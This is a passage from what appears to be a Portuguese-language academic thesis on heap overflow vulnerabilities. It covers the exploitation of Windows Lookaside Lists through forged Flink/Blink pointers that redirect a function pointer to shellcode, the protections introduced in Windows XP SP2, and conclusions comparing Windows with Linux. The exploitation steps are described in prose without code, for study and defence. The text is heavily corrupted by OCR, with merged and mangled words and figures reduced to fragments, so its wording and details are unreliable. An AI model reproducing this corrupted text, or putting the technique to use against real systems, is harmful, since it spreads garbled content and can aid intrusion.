Conforme ja foi citado, o gerenciador de memoriapido Windows possui duas
estruturas de dados que sé@o usadas para armakeses livres: a Lookaside list e as
Free Lists.

Embora neste trabalho seja descrita e explorac&oldarabilidade Heap Overflow
nas Lookaside Lists, existem varias técnicas deloeaio do Heap Overflow
(MCDONALD, 2009). Assim, exploracdo da vulnerakalit nas Free Lists, por
exemplo, pode ocorrer de forma semelhante a exgdlorda macro unlink() no sistema
Linux.

Conforme foi visto na estrutura da memoéria Heapdndows, semelhante ao que
ocorre no sistema Linux, os blocos de memaria Ké&aparmazenados em enderecos de
memoria virtual crescente, conforme a figura abaixo

01— Busy
02 = Extra present
04 —Fill pattern
08 - Virtual alloc
10 — Last entry
5 20-FFU1
Basic Chunk Structure — 8 bytes 40—FFL2

80 — No coalesce

Segment Unused | Tag Index

Self Size Previous Chunk Size A Flags Bjtes (Debug)

Overflow Direction

Figura 5.7 - Estrutura de um bloco de memadria Heap

A figura abaixo demonstra a estrutura de trés Islamonazenados na Lookaside
List.

F
h 4
r

Bl Mull

blooa bloca

Encadearmants simples;
—

Figura 5.8 - Blocos alocados na Lookaside List

Este diagrama pode representar blocos na Lookbstlde 32 bytes para alocacdes
requisitadas de 24 bytes, armazenados em sequéngiamoria.

Se o atacante suficientemente controlar as regeisie escritas nos blocos, ele pode
mudar o fluxo de execucéo e executar um codigadraria.
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Primeiro a atacante provoca o sistema para likegimeiro bloco da Lookaside.
Apos isto, ele fornecera mais dados para o print#@co que o tamanho reservado para
este bloco, e estes dados modificardo o primeigegundo bloco, provocando a
seguinte situagao:

- E armazenado o Shellcode no primeiro bloco.
- S4o0 modificadas as flags de controle do segulmm bconforme a figura abaixo.
- Sado modificados os ponteiros Blink e Flink dowedp bloco.

Overflow start

Index < | Flags I=
64 1

Falso Flink Falso Blink

R

0 1 2 3 4 5 Ll 7 L

Figura 5.9 — Bloco modificado — Fonte: (CONOVERQ24)

Assim, foram modificados os enderec¢os Flink e Bliloksegundo bloco para fazer
que o ponteiro de uma determinada funcao aponge@8hellcode, e os flags de forma
conveniente.

Para modificar o ponteiro da funcdo, o gerenciaelor que retirar o segundo bloco
da list de blocos livres. Uma das maneiras de fasteré requisitar um segundo bloco
de 24 bytes. Ao retirar este bloco da Lookasidg bigerenciador da memoria Heap ira
fazer uma unido do indice da Lookaside List comréximo bloco, usando as
informacdes Blink e Flink para modificar os pontsida lista.

Como as informagdes Blink e Flink foram modificadagerenciador de memoria,
ao tentar modificar a posicdo de memoria do bladereor, de forma a manter a lista
“Lookaside” encadeada, fard com que o ponteirorda funcdo previamente escolhida
aponte para area que foi armazenado o Shellcogmsterior execucao desta funcao
fard com que o Shellcode seja executado.

5.3 Métodos de protecdo implementados

Esta técnica de exploracdo da vulnerabilidade dapHeverflow teve sucesso nas
versdes do Windows 2000 (todos os services paaks)indows XP (até o SP2).

Com o langcamento do SP2 do Windows XP, foram implgados alguns métodos
de protecdo com o objetivo de evitar o Heap Owerfl®s principais métodos
implementados foram:

- PEB “embaralhamento” (randomizacdo da memdriapifleAntes do SP2, os
enderecos de armazenamento na memoéria Heap eramlhaate para diferentes
execucOes de um processo. Com a randomizacao,eestes¢cos passaram a variar a
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cada execucdo de um processo, dificultando a eagilorda vulnerabilidade de Heap
Overflow.

- Nova legenda de seguranca para cada pedaco ge Haiamodificada a ordem e

criado um novo item do cabecalho do pedaco de mamtgap que é armazenado o
valor do endereco do pedaco. A cada operacdo ctarpedaco, € verificado se este
valor esté correto (MCDONALD, 2009).

- Verificacdo se a lista continua encadeada. Estiéicacao ocorre principalmente
nas Freelists, para verificar se a estrutura da lkiplamente encadeada continua
intacta.

Verifica-se que devido a estrutura da memoria HdapWindows ter muitas
semelhancas com a estrutura do Linux, a vulnedaloié de Heap Overflow e os
métodos de protecdo implementados também sédo semteshaos do sistema Linux.

5.4 Conclusdes sobre a vulnerabilidade Heap Overflow n@&/indows

Comparando este estudo com o funcionamento da neerhtgap no sistema
Windows, podemos verificar que este sistema teveiayasimilaridades de
implementac&o com o sistema Linux, descritas aisegu

- Os blocos de memoria Heap sédo alocados em segu@nanemoria vitual e as
informacdes de controle dos blocos compdem os bledocalizam-se entre as areas de
dados dos blocos.

- Blocos livres sdo armazenados em listas duplementadeadas e os ponteiros
destas listas localizam-se na area de dados dossblo

-Provocando um Heap Overflow em um bloco, € poksivedificar dados e
informacdes de controle de bloco subsequentes.

Por isso, os conceitos que foram utilizados pavaqwar o Heap Overflow e foram
vistos de forma mais detalhada no sistema Linux/\Uioram utilizados para provocar o
Heap Overflow no sistema Windows.

Da mesma forma, outros sistemas operacionais cae s mesmos conceitos de
estrutura de memoéria Heap podem apresentar esterabllidade de forma semelhante.
Um exemplo que podemos citar de vulnerabilidadeHdap Overflow ocorrida ha
pouco tempo em outra plataforma foi o destravamelatdPlayStation 3 (PRADO,
2010).
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6 CONCLUSOES

Este trabalho teve por objetivo estudar o Heap flovee os métodos para evita-lo.

Embora o estudo tenha sido focado principalmenbeeso sistema Linux, foi feito
um breve estudo sobre o modo de gerenciamento daori@e Heap do sistema
operacional Windows, comparando o Linux, e consta® que, devido o
funcionamento da memoéria Heap seguir os mesmo itoscea exploracdo da
vulnerabilidade Heap Overflow foi feita de manaesmelhante.

Conforme foi visto, existem duas técnicas de Heaprflbw, a primeira que tem
por objetivo sobrescrever dados adjacentes a fveada e a segunda que o objetivo é
através da alteracao de informacdes nas varideeiomtrole da memoria Heap, alterar
enderecos de memoaria que tenham permissao deaesonit a finalidade de executar
um cédigo malicioso.

Quanto a segunda técnica, foram criadas dentrabdiatbca glibc protecdes que
tornaram muito dificil a sua exploracdo. Com o pasdo tempo foram surgindo
variacbes desta técnica tentando contornar estascpes, surgindo novas formas de
ataque que provocaram novamente novas modificagbghbc, aumentando o nivel de
seguranca, e assim subsequentemente. Atualmenteea@ismos de protecdo criados
sdo resistentes as mais modernas técnicas divslgadaseja, ndo ha divulgacdo de
meétodos de ataque que contornem estas protecoes.

Assim, a maior parte das vulnerabilidades publisaai@malmente usa a primeira
técnica (estouro de Heap) e apenas causam errtipad®oS (Denial of Service —
programa abortado), ou seja, o0 software interronapesua execucdo tornando
indisponivel. O uso desta primeira técnica porattes para alterar algum dado de
forma a fazer algo util, do seu ponto de vista, @opor exemplo, executar operacdes
nao permitidas ou alterar informacdes desejadasstema, é de dificil exploracdo, pois
exige que este tenha conhecimento da estruturaant® software.

Porém, muitas falhas de seguranca em software, dqudaram publicadas
publicamente ja vinham sendo utilizadas por indie&l mal-intencionados. Inclusive,
entre o periodo da publicacdo que torna a falhdigaihté a correcdo do defeito do
software normalmente ha um aumento muito grandexgiracdo da falha. Por isso,
embora hoje ndo se tenha nenhuma vulnerabilidadleecala, ndo quer dizer que ela
nao exista.

Em Engenharia de Software é dito que ndo é possioghr que um software nao
tem erros e sim, apenas é possivel provar queemieetros. Da mesma forma, ndo
temos como provar que um sistema é totalmente gegusim, apenas conseguimos
provar que o sistema é inseguro.
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Embora tenham sido criadas medidas de seguranaetaastes estdo cada vez mais
espertos. Conforme profissionais de software eraega avancam na area de correcao
de erros, individuos mal intencionados aprimoransues habilidades no sentido de
explorar novas vulnerabilidades de software.

Verificou-se também que a ocorréncia de Heap Omasfls6 € possivel se o
programador ndo toma os devidos cuidados com azdastde dados. Medidas como
boas praticas de programacdo, manter os softwématizados, uso de softwares de
auditoria, de programas de teste e de recursosratecfo do hardware, sistema
operacional e compilador diminuem muito a probdhdie da existéncia ou exploracéo
desta vulnerabilidade.

A vulnerabilidade Heap Overflow ocorreu e aindaroeodevido ao modo de
funcionamento da estrutura a memoéria Heap e ao muoel@ realizado o gerenciamento
dos blocos livres. Por isso, ndo deve ser esquecidaa ocorréncia e o motivo de
implementacdo das medidas de protecdo que foraas feds Sistemas operacionais
para evitar o Heap Overflow. Da mesma forma qua esinerabilidade foi explorada
no Linux e Windows, tem sido explorada em outrostesnas operacionais,
principalmente em sistemas operacionais de dispaosimoveis em que o cédigo deve
ser mais compacto. Um exemplo € a exploracdo dest@rabilidade no videogame
Playstation 3.

Profissionais da é&rea de software e de segurangamdesempre se manter
atualizados em relacdo as vulnerabilidades, in@usobre as técnicas utilizadas pelos
atacantes, pois, somente com o conhecimento dasrabilidades e das técnicas dos
atacantes, que estes profissionais poderdo toraas Sistemas mais seguros,
diminuindo a probabilidade de falhas de seguranca.
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